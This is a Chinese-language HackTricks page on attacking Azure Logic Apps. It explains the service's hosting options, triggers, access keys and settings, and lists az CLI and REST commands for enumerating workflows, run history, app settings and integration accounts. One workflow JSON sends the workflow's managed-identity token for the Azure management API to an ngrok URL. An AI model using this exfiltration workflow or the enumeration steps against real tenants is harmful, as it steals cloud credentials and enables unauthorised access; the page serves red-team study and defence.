Az - Logic Apps
Tip
学习并练习 AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
学习并练习 GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
学习并练习 Az Hacking:HackTricks Training Azure Red Team Expert (AzRTE)
支持 HackTricks
- 查看 subscription plans!
- 加入 💬 Discord group 或者 telegram group 或 关注 我们的 Twitter 🐦 @hacktricks_live.
- 通过向 HackTricks 和 HackTricks Cloud github 仓库 提交 PRs 来分享 hacking tricks。
基本信息
Azure Logic Apps 使开发人员能够 创建和运行集成各种服务、数据源和应用程序的工作流。这些工作流旨在 自动化业务流程、协调任务并在不同平台之间执行数据集成。
Logic Apps 提供了一个 可视化设计器,可以使用 广泛的预构建连接器 创建工作流,这使得连接和与各种服务交互变得简单:
.png)
托管选项
有几种托管选项:
- 消费
- 多租户:这提供共享计算资源,在公共云中运行,并遵循按操作计费的定价模型。这非常适合轻量级和具有成本效益的工作负载。这就是我们所称的“单一工作流”。
- 标准
- 工作流服务计划:这提供专用计算资源,具有 VNET 集成用于网络,并按工作流服务计划实例收费。适合需要更大控制的更高要求的工作负载。
- 应用服务环境 V3: 这提供专用计算资源,具有完全隔离和可扩展性。它还与 VNET 集成用于网络,并使用基于环境中应用服务实例的定价模型。
- 混合: 这旨在支持本地处理和多云支持。它允许客户管理的计算资源具有本地网络访问,并利用 Kubernetes 事件驱动的自动扩展(KEDA)。它依赖于容器应用连接环境。
“单一”工作流 / 消费计划
工作流 是一系列结构化的自动化步骤或任务,执行特定的过程或目标。它定义了不同的操作、条件和决策如何相互作用以实现期望的结果,从而简化操作并减少手动工作。
Tip
消费计划允许 创建单一工作流,而无需 Logic App 本身。
触发器和操作
工作流触发器指示 工作流何时应启动。触发器可以是 HTTP 端点、计划或来自 Azure 甚至外部应用的数十种不同事件。
每个工作流都有不同的 操作。这些操作是工作流遵循的步骤。根据操作的不同,将提供不同的参数进行配置,例如:
- 连接名称:操作将与之交互的连接。
- 身份验证类型: 不同的选项包括访问密钥、Microsoft Entra ID、集成服务主体身份验证和 Logic Apps 管理身份。
- 从只读的角度来看,身份验证 数据总是很有趣,因为它可能包含敏感信息。
- 从写入的角度来看,身份验证 数据总是很有趣,因为它可能允许使用分配的托管身份的权限。
- …
操作还具有各种 设置,这些设置取决于操作本身。一些最常见的设置包括:
- 重试策略:配置重试次数和重试之间的间隔。
- 超时:设置操作可以运行的最长时间,超时后将停止。
- 运行后:指定在操作运行之前必须满足的条件。
- 模式验证:确保传入数据遵循预定义结构。
- 网络:配置如何管理不同的头信息。
- 安全输入/输出:这将隐藏运行历史中的输入/输出数据。
- …
授权策略
这些工作流支持 授权策略,使用 Entra ID 通过要求有效的访问令牌来保护基于请求的触发器。该令牌必须包含特定的声明:
- 发行者 (iss) 以验证身份提供者
- 受众 (aud) 以确保令牌是针对 Logic App 的
- 主体 (sub) 以识别调用者
- JWT ID (JSON Web Token 标识符)
- 自定义声明
当收到请求时,Logic Apps 会根据这些声明验证令牌,并仅在匹配配置的策略时允许执行。这可以用于允许另一个租户触发工作流或拒绝来自其他来源的触发,例如仅允许来自 https://login.microsoftonline.com/ 的触发。
访问密钥
工作流 在创建时生成 2 个访问密钥。这些密钥用于对工作流的请求进行身份验证和授权。密钥用于生成共享访问签名 (SAS) 令牌,该令牌包含在请求 URL 中。
因此,当创建 HTTP 端点触发器时,将生成一个 带有 SAS 签名的唯一 HTTP 端点,该签名授予调用工作流的权限。
这些 密钥可以被重新生成,并将为这些触发器创建一个新的 SAS URL,但 密钥值无法访问。
调用触发器的 SAS URL 示例:
https://<region>.logic.azure.com:443/workflows/<workflow-id>/triggers/<trigger-name>/paths/invoke?api-version=<api-version>&sp=%2Ftriggers%2F<trigger-name>%2Frun&sv=<version>&sig=<signature>
工作流设置与组件
- 触发访问选项:此设置允许您限制谁可以触发或启动您的工作流。选项包括任何 IP、仅其他工作流和特定 IP 范围。
- 集成帐户:将您的工作流链接到集成帐户。
- 高吞吐量:如果开启,它允许快速处理更多并行请求。
- 运行历史保留:这表示保留运行历史的天数。
- API 连接:这显示工作流具有的不同 API 连接。在每个连接内部,它们具有不同的属性,并可以编辑 API 连接,其中身份验证类型可以更改。
- 历史:它具有访问旧执行的 历史 选项,并获取数据:设置、输出、参数和代码。
- 版本:它具有访问工作流不同 版本 的选项,您可以检查代码并用旧版本更改当前工作流。
- 托管身份:可以将 1 个系统托管身份和服务器用户托管身份分配给工作流。
泄露 MI 访问令牌
工作流中的 HTTP 操作可用于将数据发送到外部网站。在 HTTP 操作的 高级参数 中,可以将 身份验证类型 配置为 Managed identity,然后选择要使用的 分配的托管身份(系统或用户)。
此外,可以在 Audience 中指明生成的 JWT 的受众,例如 https://management.azure.com/,以便能够使用生成的令牌访问 Azure 管理 API。
Warning
使操作将 HTTP 请求发送到攻击者控制的服务器可能会 泄露分配给工作流的托管身份的访问令牌。
Tip
攻击者还可以使用其他类型的操作 直接访问其他 Azure 服务 并以托管身份的权限执行操作。
这是一个暴露 HTTP 端点的工作流代码,然后使用 HTTP 操作将访问令牌泄露到配置的 URL(在此情况下为 ngrok):
工作流代码
```json { "definition": { "$schema": "https://schema.management.azure.com/providers/Microsoft.Logic/schemas/2016-06-01/workflowdefinition.json#", "contentVersion": "1.0.0.0", "triggers": { "When_a_HTTP_request_is_received": { "type": "Request", "kind": "Http" } }, "actions": { "HTTP": { "runAfter": {}, "type": "Http", "inputs": { "uri": "https://22b6-81-33-70-107.ngrok-free.app", "method": "GET", "authentication": { "type": "ManagedServiceIdentity", "audience": "https://management.azure.com/" } }, "runtimeConfiguration": { "contentTransfer": { "transferMode": "Chunked" } } } }, "outputs": {}, "parameters": { "$connections": { "type": "Object", "defaultValue": {} } } }, "parameters": { "$connections": { "type": "Object", "value": {} } } } ```逻辑应用 / 标准计划
与“单一”工作流的区别
逻辑应用基本上在后台使用应用服务来托管可以托管多个工作流的逻辑应用。这意味着逻辑应用将具有应用服务和“单一”工作流的所有功能。
一些关键特性包括:
- 应用服务计划:标准计划中的逻辑应用托管在应用服务计划上,因此可以使用所有应用服务功能,例如:
- 网络限制:指示可以从哪里访问。
- 部署中心:可以从外部平台如Github、Bitbucket、Azure Repos、外部Git和本地Git进行部署。
- FTP访问:可以通过FTP访问逻辑应用的文件。
- 存储帐户:服务应用使用存储帐户来存储信息。
- 环境变量和应用设置:可以配置环境变量和应用设置(并找到敏感信息,如存储帐户的访问密钥)。
- …
- 参数:参数允许您管理在开发、测试和生产中变化的值。这使您可以先设计工作流,然后轻松调整特定于环境的设置。
- 专用资源:标准计划中的逻辑应用具有专用资源。
- 多个工作流:允许创建多个工作流。
有关应用服务的更多信息,请查看:
枚举
# List
az logic workflow list --resource-group <ResourceGroupName>
# Get info
az logic workflow show --name <LogicAppName> --resource-group <ResourceGroupName>
# Get details of a specific Logic App workflow, including its connections and parameters
az rest \
--method GET \
--uri "https://management.azure.com/subscriptions/{subscriptionId}/resourceGroups/{resourceGroupName}/providers/Microsoft.Logic/workflows/{workflowName}?api-version=2016-10-01&$expand=connections.json,parameters.json" \
--headers "Content-Type=application/json"
# Get details about triggers for a specific Logic App
az rest --method GET \
--uri "https://management.azure.com/subscriptions/{subscriptionId}/resourceGroups/{resourceGroupName}/providers/Microsoft.Logic/workflows/{logicAppName}/triggers?api-version=2016-06-01"
# Get the callback URL for a specific trigger in a Logic App
az rest --method POST \
--uri "https://management.azure.com/subscriptions/{subscriptionId}/resourceGroups/{resourceGroupName}/providers/Microsoft.Logic/workflows/{logicAppName}/triggers/{triggerName}/listCallbackUrl?api-version=2016-06-01"
# Get the history of a specific trigger in a Logic App
az rest --method GET \
--uri "https://management.azure.com/subscriptions/{subscriptionId}/resourceGroups/{resourceGroupName}/providers/Microsoft.Logic/workflows/{logicAppName}/triggers/{triggerName}/histories?api-version=2016-06-01"
# List all runs of a specific Logic App workflow
az rest \
--method GET \
--uri "https://management.azure.com/subscriptions/{subscriptionId}/resourceGroups/{resourceGroupName}/providers/Microsoft.Logic/workflows/{workflowName}/runs?api-version=2016-06-01" \
--headers "Content-Type=application/json"
# Get all actions within a specific run of a Logic App workflow
az rest \
--method GET \
--uri "https://management.azure.com/subscriptions/{subscriptionId}/resourceGroups/{resourceGroupName}/providers/Microsoft.Logic/workflows/{workflowName}/runs/{runName}/actions?api-version=2016-06-01" \
--headers "Content-Type=application/json"
# List all versions of a specific Logic App workflow
az rest \
--method GET \
--uri "https://management.azure.com/subscriptions/{subscriptionId}/resourceGroups/{resourceGroupName}/providers/Microsoft.Logic/workflows/{workflowName}/versions?api-version=2016-06-01" \
--headers "Content-Type=application/json"
# Get details of a specific version of a Logic App workflow
az rest \
--method GET \
--uri "https://management.azure.com/subscriptions/{subscriptionId}/resourceGroups/{resourceGroupName}/providers/Microsoft.Logic/workflows/{workflowName}/versions/{versionName}?api-version=2016-06-01" \
--headers "Content-Type=application/json"
# List all Logic Apps in the specified resource group
az logicapp list --resource-group <ResourceGroupName>
# Show detailed information about a specific Logic App
az logicapp show --name <LogicAppName> --resource-group <ResourceGroupName>
# List all application settings for a specific Logic App
az logicapp config appsettings list --name <LogicAppName> --resource-group <ResourceGroupName>
# Get a Parameters from an Azure App Service using Azure REST API
az rest --method GET --url "https://management.azure.com/subscriptions/{subscription-id}/resourceGroups/{resource-group-name}/providers/Microsoft.Web/sites/{app-service-name}/hostruntime/admin/vfs/parameters.json?api-version=2018-11-01&relativepath=1"
# Get webhook-triggered workflows from an Azure Logic App using Azure REST API
az rest --method GET --url "https://management.azure.com/subscriptions/{subscription-id}/resourceGroups/{resource-group-name}/providers/Microsoft.Web/sites/{logic-app-name}/hostruntime/runtime/webhooks/workflow/api/management/workflows?api-version=2018-11-01"
# Get workflows from an Azure Logic App using Azure REST API
az rest --method GET --url "https://management.azure.com/subscriptions/{subscription-id}/resourceGroups/{resource-group-name}/providers/Microsoft.Web/sites/{logic-app-name}/workflows?api-version=2018-11-01"
# Get details of a specific workflow including its connections and parameters in Azure Logic Apps using Azure REST API
az rest --method GET --uri "https://management.azure.com/subscriptions/{subscription-id}/resourceGroups/{resource-group-name}/providers/Microsoft.Web/sites/{logic-app-name}/workflows/{workflow-name}?api-version=2018-11-01&\$expand=connections.json,parameters.json"
集成帐户
集成帐户是 Azure Logic Apps 的一个功能。集成帐户用于通过启用高级 B2B 功能(如 EDI、AS2 和 XML 架构管理)来促进企业级集成。集成帐户是 Azure 中的一个容器,用于存储 Logic Apps 使用的以下工件:
- 架构:管理用于验证和处理集成帐户中消息的 XML 架构。
- 映射:配置基于 XSLT 的转换,以在集成工作流中转换数据格式。
- 程序集:管理集成帐户程序集,以简化逻辑和数据处理。
- 证书:处理用于加密和签名消息的证书,确保安全通信。
- 合作伙伴:管理 B2B 交易的交易伙伴信息,实现无缝集成。
- 协议:配置与交易伙伴交换数据的规则和设置(例如,EDI、AS2)。
- 批处理配置:管理批处理配置,以高效地分组和处理消息。
- RosettaNet PIP:配置 RosettaNet 合作伙伴接口流程(PIPs),以标准化 B2B 通信。
枚举
# Integration account
az logic integration-account list --resource-group <resource-group-name>
az logic integration-account show --resource-group <resource-group-name> --name <integration-account-name>
az logic integration-account list-callback-url --resource-group <resource-group-name> --integration-account-name <integration-account-name>
# Batch-configuration
az logic integration-account batch-configuration list \
--resource-group <resource-group-name> \
--integration-account-name <integration-account-name>
az logic integration-account batch-configuration show \
--resource-group <resource-group-name> \
--integration-account-name <integration-account-name> \
--batch-configuration-name <batch-configuration-name>
# Map
az logic integration-account map list \
--resource-group <resource-group-name> \
--integration-account <integration-account-name>
az logic integration-account map show \
--resource-group <resource-group-name> \
--integration-account <integration-account-name> \
--map-name <map-name>
# Partner
az logic integration-account partner list \
--resource-group <resource-group-name> \
--integration-account <integration-account-name>
az logic integration-account partner show \
--resource-group <resource-group-name> \
--integration-account <integration-account-name> \
--name <partner-name>
# Session
az logic integration-account session list \
--resource-group <resource-group-name> \
--integration-account <integration-account-name>
az logic integration-account session show \
--resource-group <resource-group-name> \
--integration-account <integration-account-name> \
--name <session-name>
# Assembly
# Session
az logic integration-account assembly list \
--resource-group <resource-group-name> \
--integration-account <integration-account-name>
az logic integration-account assembly show \
--resource-group <resource-group-name> \
--integration-account <integration-account-name> \
--assembly-artifact-name <assembly-name>
权限提升
与逻辑应用程序权限提升相同:
后期利用
Az - Logic Apps Post Exploitation
持久性
Tip
学习并练习 AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
学习并练习 GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
学习并练习 Az Hacking:HackTricks Training Azure Red Team Expert (AzRTE)
支持 HackTricks
- 查看 subscription plans!
- 加入 💬 Discord group 或者 telegram group 或 关注 我们的 Twitter 🐦 @hacktricks_live.
- 通过向 HackTricks 和 HackTricks Cloud github 仓库 提交 PRs 来分享 hacking tricks。
HackTricks Cloud

